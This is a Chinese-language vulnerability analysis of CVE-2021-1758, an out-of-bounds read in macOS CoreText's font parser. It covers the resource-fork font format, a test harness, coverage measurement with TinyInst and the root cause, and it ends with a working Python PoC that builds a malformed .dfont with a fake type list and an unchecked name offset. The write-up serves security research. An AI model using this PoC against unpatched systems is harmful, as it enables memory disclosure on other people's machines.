CVE-2021-1758(CoreText越界读取)分析
Mac资源分支字体文件
资源分支结构
macOS支持加载称为Mac资源分支的字体文件,这是一种遗留格式。传统Macintosh文件分为数据分支和资源分支:数据分支包含用户创建的数据,资源分支包含资源。现代macOS系统中,仅具有资源分支结构的文件即可用于存储字体。
资源分支文件结构如下:
- 资源头:记录后续两个组件的偏移和大小
- 资源数据:资源的具体数据
- 资源映射:记录每个资源在文件中的位置及其他信息
资源头
资源头共16字节:
- 资源数据偏移(4字节)
- 资源映射偏移(4字节)
- 资源数据长度(4字节)
- 资源映射长度(4字节)
资源数据
资源数据部分包含多个资源条目,每个条目结构如下:
- 后续资源数据长度(4字节)
- 该资源的资源数据(可变大小)
资源映射
资源映射包含多个字段:
- 资源头副本(16字节)
- 下一资源映射的句柄(4字节)
- 文件引用号(4字节)
- 资源分支属性(2字节)
- 从映射开头到资源类型列表的偏移(2字节)
- 从映射开头到资源名称列表的偏移(2字节)
- 映射中的类型数减1(2字节)
- 资源类型列表(可变大小)
- 引用列表(可变大小)
- 资源名称列表(可变大小)
资源类型列表
每个资源类型列表项包含:
- 资源类型(4字节,如’sfnt’表示轮廓字体)
- 该类型资源数量减1(2字节)
- 从资源类型列表开头到该类型引用列表的偏移(2字节)
引用列表
每个引用列表项包含:
- 资源ID(2字节)
- 从资源名称列表开头到资源名称的偏移(2字节,-1表示无名称)
- 资源属性(1字节)
- 从资源数据开头到该资源数据的偏移(3字节)
- 资源句柄(4字节)
资源名称列表
资源名称列表结构简单:
- 后续资源名称长度(1字节)
- 资源名称字符(可变大小)
理解目标
测试工具
编写测试工具加载字体文件以复现漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
// g++ main.m -o main -framework CoreText -framework Foundation
#import <Foundation/Foundation.h>
#import <CoreText/CoreText.h>
void harness(const char* font_file)
{
NSString *path = [NSString stringWithUTF8String:font_file];
NSURL *url = [NSURL fileURLWithPath:path];
NSLog(@"%@", url);
CFArrayRef descriptors = CTFontManagerCreateFontDescriptorsFromURL((__bridge CFURLRef)url);
if (descriptors == NULL)
NSLog(@"Error when loading font file");
else
NSLog(@"Successfully loaded font file");
}
int main(int argc, const char* argv[]) {
harness(argv[1]);
return 0;
}
|
字体文件生成
使用Python脚本生成自定义字体文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
from pwn import p8, p16, p32, p64, context
# 设置大端序
context.endian = 'big'
# 资源数据(132字节)
res_data = b""
res_data += p32(128)
res_data += b"A" * 128
res_data_offset = 16
res_data_len = len(res_data)
# 资源映射头(16字节,后续加16字节)
res_map = b""
res_map += p32(0) # 下一资源映射句柄
res_map += p16(0) # 文件引用号
res_map += p16(0) # 分支属性
res_map += p16(30) # 到资源类型列表的偏移
res_map += p16(50) # 到资源名称列表的偏移
res_map += p16(0) # 映射中的类型数减1
# 类型列表(8字节)
res_map += b"FOND"
res_map += p16(0) # 该类型资源数减1
res_map += p16(8) # 到该类型引用列表的偏移
# 引用列表(12字节)
res_map += p16(1337) # 资源ID
res_map += p16(0) # 到资源名称的偏移
res_map += p8(0) # 属性
res_map += b"\x00\x00\x00" # 到资源数据的偏移
res_map += p32(0) # 资源句柄
# 资源名称(17字节)
res_map += p8(4)
res_map += b"GGWP"
res_map_offset = res_data_offset + res_data_len
res_map_len = len(res_map) + 16 # 后续加16字节资源头
res_header = b""
res_header += p32(res_data_offset)
res_header += p32(res_map_offset)
res_header += p32(res_data_len)
res_header += p32(res_map_len)
res_map = res_header + res_map
with open("myfont.dfont", "wb") as out:
out.write(res_header)
out.write(res_data)
out.write(res_map)
|
覆盖率分析
使用TinyInst测量库的覆盖率:
构建TinyInst
1
2
3
4
5
6
|
git clone --recurse-submodules https://github.com/googleprojectzero/TinyInst
cd TinyInst
mkdir build
cd build
cmake ..
cmake --build .
|
使用TinyInst获取覆盖率
1
|
sudo ~/TinyInst/build/litecov -instrument_module libFontParser.dylib -target-env DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib -patch_return_addresses -coverage_file cov.txt -- ./main /Library/Fonts/Arial\ Unicode.ttf
|
Arial字体与自定义字体对比
- Arial字体:执行719个基本块
- 自定义字体:执行557个基本块
使用Lighthouse可视化覆盖率
将cov.txt加载到Lighthouse中,在IDA中可视化执行代码。
根据公告,崩溃回溯如下:
1
2
3
|
#0 0x7fff54430de5 in GetResourcePtrCommon (libFontParser.dylib:x86_64+0x70de5)
#1 0x7fff54430e7b in FPRMGetIndexedResource (libFontParser.dylib:x86_64+0x70e7b)
...
|
加载自定义字体时,执行了以下函数:
- FPFontCreateFontsWithPath
- TFont::CreateFontEntitiesForFile
- TFont::CreateFontEntities
但未执行回溯中的下一个函数(TResourceFileDataSurrogate::TResourceFileDataSurrogate)。
漏洞分析
程序现可到达GetResourcePtrCommon漏洞函数。但存在异常:若num_types <= 0,函数在开头即返回。
GetMapCommon与GetResourcePtrCommon检索值的方式不同:前者基于资源类型列表的偏移读取,后者基于固定偏移(30)读取。因此可设置不同值,使GetMapCommon中num_types == 0,而GetResourcePtrCommon中num_types > 0。
在CheckMapCommon中,因num_types <= 0而提前返回,跳过后续检查。资源名称条目的偏移未经验证,因此可在65536范围内越界读取。
PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
from pwn import p8, p16, p32, p64, context
RELATIVE_READ = 0x6000
context.endian = 'big'
# 资源数据(132字节)
res_data = b""
res_data += p32(128)
res_data += b"A" * 128
res_data_offset = 16 + 24
res_data_len = len(res_data)
# 资源映射头(16字节,后续加16字节)
res_map = b""
res_map += p32(0) # 下一资源映射句柄
res_map += p16(0) # 文件引用号
res_map += p16(0) # 分支属性
res_map += p16(38) # 到资源类型列表的偏移
res_map += p16(60) # 到资源名称列表的偏移
res_map += p16(0) # 映射中的类型数减1
# 类型列表(8字节)
res_map += b"FOND"
res_map += p16(0) # 该类型资源数减1
res_map += p16(20) # 到该类型引用列表的偏移
# 伪类型列表(10字节)
res_map += p16(0xffff) # 映射中的类型数减1(重复值?)
res_map += b"FOND"
res_map += p16(0) # 该类型资源数减1
res_map += p16(20) # 到该类型引用列表的偏移
# 引用列表(12字节)
res_map += p16(1337) # 资源ID
res_map += p16(RELATIVE_READ) # 到资源名称的偏移
res_map += p8(0) # 属性
res_map += b"\x00\x00\x00" # 到资源数据的偏移
res_map += p32(0) # 资源句柄
# 资源名称(17字节)
res_map += p8(4)
res_map += b"GGWP"
res_map_offset = res_data_offset + res_data_len
res_map_len = len(res_map) + 16 # 后续加16字节资源头
res_header = b""
res_header += p32(res_data_offset)
res_header += p32(res_map_offset)
res_header += p32(res_data_len)
res_header += p32(res_map_len)
res_map = res_header + res_map
with open("myfont.dfont", "wb") as out:
out.write(res_header)
out.write(b"A" * 24) # 程序所需的填充
out.write(res_data)
out.write(res_map)
|
使用libgmalloc验证OOB读取:
1
|
DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib ./main myfont.dfont
|
参考资料
- STARLabs公告 STAR-21-1758
- Font Forge: Macintosh字体格式
- Apple: MoreMacintoshToolbox
- fontTools: macRes